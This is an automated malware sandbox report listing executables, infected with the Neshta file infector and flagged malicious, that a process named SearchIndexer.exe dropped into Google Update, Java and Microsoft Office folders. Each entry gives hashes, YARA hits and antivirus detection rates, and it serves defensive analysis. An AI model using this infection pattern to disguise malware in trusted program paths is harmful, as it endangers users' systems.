                                                                  SHA-256:58D82570BEE9757A3615789DF93384BC28C77D4F0E60796C0A845265FDB0BADA
                                                                  SHA-512:6FE092C3AEB098BC26AF41E64EAD35381C7E49BEECB1847A1DF7DBDBE2449E0826D888B49F099E28C3A752013BA9E7D0DDF256A8B3A57F3A60248A467CB2DACF
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe, Author: ditekSHen
                                                                  Antivirus:
                                                                  • Antivirus: Avira, Detection: 100%
                                                                  • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                  • Antivirus: ReversingLabs, Detection: 100%
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):264480
                                                                  Entropy (8bit):6.6429855049099995
                                                                  Encrypted:false
                                                                  SSDEEP:6144:k9YwCtJmRqyFmB6AOKmiMGwIAfx+iQ+FfFyLgG1da6edo:1w6JmRI6Bitwpx+iQafFykG1da6edo
                                                                  MD5:9E4A1877CD2731B9DFCE6E0FCD7B5037
                                                                  SHA1:45E966F9EF775DD94339782C3374597AA7BC17D0
                                                                  SHA-256:224C2EE088EB5EA5D06DA228AB575A704FCF2328B3EB60613983236B13B5CD70
                                                                  SHA-512:7A7A6185F7590B1C5BEB2D16DA1FF14BFF15E6EE5BF185562B1588E32F112765BAF20D84892C85299DCD2C1F7127950D78EB3D10EDE6C45727D1D737F022F8BF
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe, Author: ditekSHen
                                                                  Antivirus:
                                                                  • Antivirus: Avira, Detection: 100%
                                                                  • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                  • Antivirus: ReversingLabs, Detection: 100%
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):149792
                                                                  Entropy (8bit):6.511488043303241
                                                                  Encrypted:false
                                                                  SSDEEP:3072:sr85CZ4qR8vSZksB+2hdqecER5AhC48S1m2YPrZ:k9HksB+0YlEXAe6QPt
                                                                  MD5:1F18312D69028EEB0E96580CBD36232A
                                                                  SHA1:E90EB0E84B9D3693EEECAC1979E736802D7AA181
                                                                  SHA-256:DD6FC425C8F737BA5054624F638AB7B4ECCCFE3A6A14C1DDF11FDE34B928557F
                                                                  SHA-512:487A3C9E58C51210EAC60866105E1E3A6C1F1B9BE39BB958EFDC635D2D7BB7F382E7AC3500CF40B2B83DA16986B1B8982E79E51C452901AB9848AE80666A1B26
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe, Author: ditekSHen
                                                                  Antivirus:
                                                                  • Antivirus: Avira, Detection: 100%
                                                                  • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                  • Antivirus: ReversingLabs, Detection: 100%
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Java\jre-1.8\bin\java.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):299136
                                                                  Entropy (8bit):6.791456127636419
                                                                  Encrypted:false
                                                                  SSDEEP:6144:k9/0LYbH0QQchx73BeFStIhEWDoZvynCMj+TwW:G0EbH0j4x7R6SvyCMqn
                                                                  MD5:7663DA5345AED4E2CE3AE00F1569BAD3
                                                                  SHA1:10BF6A77F04B10292030C2456066EB519A4F50A0
                                                                  SHA-256:14093EE670E445270AD20D7451E89F37B7E8335C5EC73460A0154232852BA3C6
                                                                  SHA-512:1F8E1BEFA7E2462CA5C0DEB8756DF7B8FFD71D82F09FA0B93EF9CA2D32CACB21688713F5AFA8053B9F83463E9253D428818AA9334202ACB147A608827E4027F1
                                                                  Malicious:true
                                                                  Antivirus:
                                                                  • Antivirus: ReversingLabs, Detection: 100%
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):135808
                                                                  Entropy (8bit):6.396186166703023
                                                                  Encrypted:false
                                                                  SSDEEP:1536:JxqjQ+P04wsmJC/rmKmGyeVK7qjh3rmKPNbS7cZPxyqPEoCW/ids8nBs+s8nBs8m:sr85C/q4yutjZqMNbSgxbFrj8m
                                                                  MD5:2DE190CF047A78DBCAB6E2216701D2BC
                                                                  SHA1:9B490C017D00BD20562225FC684D426F44EE3C76
                                                                  SHA-256:266452E14A03BE6D5B3CB049E5BBEA4C4787B4C18289FBAA212DFD8B1227B3C1
                                                                  SHA-512:E1D62E8CFC1F441ED08ABDE8CD996EDE7636E48E67E0B1787A9CD0865C8885C1D56E736803BB20773EFD98768ADDCDB79C1489912F5D01E5BFAB231394D552FB
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe, Author: ditekSHen
                                                                  Antivirus:
                                                                  • Antivirus: Avira, Detection: 100%
                                                                  • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                  • Antivirus: ReversingLabs, Detection: 100%
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):299136
                                                                  Entropy (8bit):6.793867878392893
                                                                  Encrypted:false
                                                                  SSDEEP:6144:k9/lXCs7zYA9xiNFiVg7s/uDoeBvhI7W6w9:GlXCs/YAh/elvhI7Wd
                                                                  MD5:BB0E7591812BC27C3D6D3DA565AF925B
                                                                  SHA1:BCF62126B5381B32D7C614EFDFA30CF7F385463D
                                                                  SHA-256:F251861114A4932B3AE9FDC95524EED50D2BD6DBE1E498C48FAE4BD095D4BD7F
                                                                  SHA-512:EA133EB067DC32BE2EE47D1BC50CE77FA87DA2379CA5991EDB837EAED7BCE9BDAAA179A7997220E0D8520926F846D998948B92607DA330128D74B1E000E8E1A5
                                                                  Malicious:true
                                                                  Antivirus:
                                                                  • Antivirus: ReversingLabs, Detection: 100%
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Java\jre-1.8\bin\javaws.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):437888
                                                                  Entropy (8bit):6.42684511221715
                                                                  Encrypted:false
                                                                  SSDEEP:12288:GGNKdHVnfiMB7yIL+5IyoiYv5jPaeTmJWIvDxT9ULX8PCM:9KiBLZ05jNTmJWExixM
                                                                  MD5:2607BC5BE23EF6AFA96E1B243164745B
                                                                  SHA1:50B602076CB054022A35790FDCF0512CA1D9B68D
                                                                  SHA-256:EE438CBF24A8CC6303A4930BD3D84EA306C350A92384F3705364058BECAB050A
                                                                  SHA-512:59C7C4CF7B43726B774A4BE770B5B02573EDBE035C3DEAC909EC3230A1A05A2E2D6814F08F9D81F9E86433748082D1A04B914C7444585D90D511C348C8367D33
                                                                  Malicious:true
                                                                  Antivirus:
                                                                  • Antivirus: ReversingLabs, Detection: 100%
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Java\jre-1.8\bin\jp2launcher.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):163456
                                                                  Entropy (8bit):6.282119597857022
                                                                  Encrypted:false
                                                                  SSDEEP:3072:sr85CQ446dewltB2mNd/HOrveW1dexk834fRZ5Nyc:k9Q446d7T/H4X
                                                                  MD5:6CAFDAA62D8747DE46D3034200B28419
                                                                  SHA1:939138E4EE0DE785F062DBDF928465EEB2653510
                                                                  SHA-256:F8C97B577C19232F795F72E2C81D343E7E4CC1A219350419A7FBE781C1FD82B4
                                                                  SHA-512:8A390C6A4FB272AC4ADC80018E548AD656504901D580BD6FCDBF9DC6181435FD36AD46B396421F8957E38CE6D981324DA93BA5217FFCF78AD1AE7F2C8BC868E4
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Java\jre-1.8\bin\jp2launcher.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Java\jre-1.8\bin\jp2launcher.exe, Author: ditekSHen
                                                                  Antivirus:
                                                                  • Antivirus: ReversingLabs, Detection: 100%
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):127104
                                                                  Entropy (8bit):6.0679650494656965
                                                                  Encrypted:false
                                                                  SSDEEP:1536:JxqjQ+P04wsmJC3s8nBs5s8nBskEsz2zy77hPxIAbBsnzA3QDkrDW8Kq5ns8nBsb:sr85CaUkEsqzy7pxI8BszFJqkb
                                                                  MD5:80063F8042BCD9F08243437E883EE0B7
                                                                  SHA1:B28DFAAF22CD52264358AFCEFC9272B65DA021BB
                                                                  SHA-256:77D52E65380CDF4E98EBBF36F578A5A1406F4BF9D53C434FFDE323AD833158C5
                                                                  SHA-512:BD4FC5327D74C0D9FC1A75DC9781AE5F3C147A83E4A22FD7FDBAC370E1210C781A51018D798BC5F39C9A9804E43F56649E548C562D59BB4371ED473113B952F0
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe, Author: ditekSHen
                                                                  Antivirus:
                                                                  • Antivirus: ReversingLabs, Detection: 100%
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Java\jre-1.8\bin\unpack200.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):223360
                                                                  Entropy (8bit):6.089485930964728
                                                                  Encrypted:false
                                                                  SSDEEP:3072:sr85CIySSyyXC2BZC5vHa2L8jv+UII6qS2AroAxYN35gwxcPXtxdTsVcCXFzlZBD:k9oSyMZOy406qS2AroAxnw6f9JCXN1
                                                                  MD5:8AC992B3CEE15917902FCF4E1BB88AD1
                                                                  SHA1:278D893D5B43C8210F04986205F42D7B842B49CA
                                                                  SHA-256:2A5F8A9115B28D6E242EC13E0C9B577FC55A4B23AB7605CC6F4BCB7645A7A905
                                                                  SHA-512:4ED4B2E050D864F66BEFAA8D587972B5219064D5EE989F36FDB410865D30467EF60D6A1B14D53FF6F6E408644059E473134E74BD8B4AE841D1D74F2642649381
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Java\jre-1.8\bin\unpack200.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Java\jre-1.8\bin\unpack200.exe, Author: ditekSHen
                                                                  Antivirus:
                                                                  • Antivirus: ReversingLabs, Detection: 100%
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\Office16\OSPPREARM.EXE

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):203264
                                                                  Entropy (8bit):6.630784933207718
                                                                  Encrypted:false
                                                                  SSDEEP:3072:sr85Ckwl0hzyfN7T34oshWGrAUdaz2w9Lf0M/RHym:k9ZiFIf34hcUsz225/
                                                                  MD5:FD99F4BAC9DE9CEA9AEBE10339376F46
                                                                  SHA1:657C4D31907420906F6B76E7202DBC8D1ED642C7
                                                                  SHA-256:D40F5C5B2B8267AC486BF5E68ED065502630CD8D5C38C84773A3CD8341DE3479
                                                                  SHA-512:360A69F494DD27CAB49FC0FBC0A3507593D97D65D41C7D9E7489A89385D1E6ED42F9E4109A3585425F19AC6DD3A19A281CFCB4CCBCB9BBDFD4C914404487A9B5
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\Office16\OSPPREARM.EXE, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\Office16\OSPPREARM.EXE, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):209912
                                                                  Entropy (8bit):6.339745236465328
                                                                  Encrypted:false
                                                                  SSDEEP:3072:sr85C6fSoD7sDZ7/E2jijQvZ2ha5ZxXHyz7weLSMqpmmtj:k96fSoD7q/fji2SUKz7VHwmmtj
                                                                  MD5:57C91EFB667D78BE5744B415C921B0D5
                                                                  SHA1:875B5401BB112BE99BD150C7F74E5193A2189885
                                                                  SHA-256:2ADC50C04426A03D30F96FD5E11F16167DCE5AE4E3202FF5F6A21649DF965401
                                                                  SHA-512:A4958FDA3A3C70A61585A7D0D6DBA9BAFACA06FCB3D242924DA41D3CB57A604B8351DA663BCBACDAF57EB833265C511B77148B9FA12B60468540EB7E0B3EE897
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate.exe, Author: ditekSHen
                                                                  Antivirus:
                                                                  • Antivirus: ReversingLabs, Detection: 100%
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate32.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):209912
                                                                  Entropy (8bit):6.339745236465328
                                                                  Encrypted:false
                                                                  SSDEEP:3072:sr85C6fSoD7sDZ7/E2jijQvZ2ha5ZxXHyz7weLSMqpmmtj:k96fSoD7q/fji2SUKz7VHwmmtj
                                                                  MD5:57C91EFB667D78BE5744B415C921B0D5
                                                                  SHA1:875B5401BB112BE99BD150C7F74E5193A2189885
                                                                  SHA-256:2ADC50C04426A03D30F96FD5E11F16167DCE5AE4E3202FF5F6A21649DF965401
                                                                  SHA-512:A4958FDA3A3C70A61585A7D0D6DBA9BAFACA06FCB3D242924DA41D3CB57A604B8351DA663BCBACDAF57EB833265C511B77148B9FA12B60468540EB7E0B3EE897
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate32.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate32.exe, Author: ditekSHen
                                                                  Antivirus:
                                                                  • Antivirus: ReversingLabs, Detection: 100%
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate64.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):264144
                                                                  Entropy (8bit):5.863490790187712
                                                                  Encrypted:false
                                                                  SSDEEP:3072:sr85CQPEGT3EB2e1aWGNU6ITL85x0HRerzJ0YF6OYLy0PPDq29BA+7891:k9QPEC0QjWGNU6ITL1H0zvjkBA+7891
                                                                  MD5:1FD92ADE57DEF19C2D5BF4A14AF53373
                                                                  SHA1:88335A048A05FCE5F5F23411D07AAA53DE05FEBE
                                                                  SHA-256:7BF6EB7F7150A749DE8581C55BA2E0EB2317B17AA39E39466C22F8E537892070
                                                                  SHA-512:1035D82569254BE103EC1A2BAE83F02072A17D7C67DC2BB62F1AADEBD06E3A85FE3B352CED35EC166DB4DA7A06489AB839312CACA2806C544B0D064FD1A8BC6F
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate64.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate64.exe, Author: ditekSHen
                                                                  Antivirus:
                                                                  • Antivirus: ReversingLabs, Detection: 100%
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\Client\AppVLP.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):430680
                                                                  Entropy (8bit):6.627953214122613
                                                                  Encrypted:false
                                                                  SSDEEP:6144:k9Bmmt0fSoD7ZAOhPiURg/4KAaxZTTlvIfaUcuI4hWxBP9SGO0zyqEL:Dmt0LDdOUO42ZdocuI4kxBgGONqEL
                                                                  MD5:387E91F4FB98718AE0D80D3FEEC3CBFE
                                                                  SHA1:2A4DEB9782DDE1E319ACB824F32A19F60CCB71AB
                                                                  SHA-256:2AF36D2872119856CBA456CD9BB23623CB05E8957D74EEADBCD5DED57E17F5E5
                                                                  SHA-512:1C6029F902DB9F190985B64AE4BA18CB3E770A2DED56511A32C15EBA86198E26B1C8F3BEB399249AAAA9854C72EBF2C50446182F616345004F2FAAD062FDF8BB
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVLP.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVLP.exe, Author: ditekSHen
                                                                  Antivirus:
                                                                  • Antivirus: ReversingLabs, Detection: 100%
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\Integration\Integrator.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):4473576
                                                                  Entropy (8bit):6.569965325360163
                                                                  Encrypted:false
                                                                  SSDEEP:98304:pkkCqyDEY7+o3OBvfGVY+40yajyS+9s/pLOq:pkkCqaE68eV+0y8E6L1
                                                                  MD5:809D03153D2FCC1C9E1EE574DDF7CD2E
                                                                  SHA1:CF1FC95A34AFC5A2FB39504D973BC8380A04BAC1
                                                                  SHA-256:C2A715F1396DCDAA9360FB09B89992EE8619362062DFBD6C90CFF751C5272032
                                                                  SHA-512:094FE1BC30027336DFE6A32520DB39D8D27AD1A69716E7E00D6B66D44CFB4EAADBD8D48B6D80BC0D00C60EF0E3483437C82D2185BD704137CB544B11063820DA
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Integration\Integrator.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Integration\Integrator.exe, Author: ditekSHen
                                                                  Antivirus:
                                                                  • Antivirus: ReversingLabs, Detection: 100%
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\Office16\ACCICONS.EXE

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):4316096
                                                                  Entropy (8bit):3.9258169272505024
                                                                  Encrypted:false
                                                                  SSDEEP:98304:nPNLniBaEJhRELqS/rhwov59SRZ5Vb9sybbsK+0rnsQ:PNLniBPJhRELqS/rhb59SRZ5Vb9sybb9
                                                                  MD5:D303F362090140A192699993B9B481CC
                                                                  SHA1:EA2783C188FBB317661F1FC3A0CB4492BB8EC80B
                                                                  SHA-256:DA0ACD313E47ED22E9D7EB3E3E540853B8EA43172CA0CDCAC4E0447868B2B16D
                                                                  SHA-512:12932A51ACDB0D184CA0AD6B7B1B9B72C8EF698B19B5747BD45DB6EAEB792B942089D62F5AB43106BA840E50D562092FF0056D3A2BAA97E353B2AA64C433242D
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\ACCICONS.EXE, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\ACCICONS.EXE, Author: ditekSHen
                                                                  Antivirus:
                                                                  • Antivirus: ReversingLabs, Detection: 100%
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

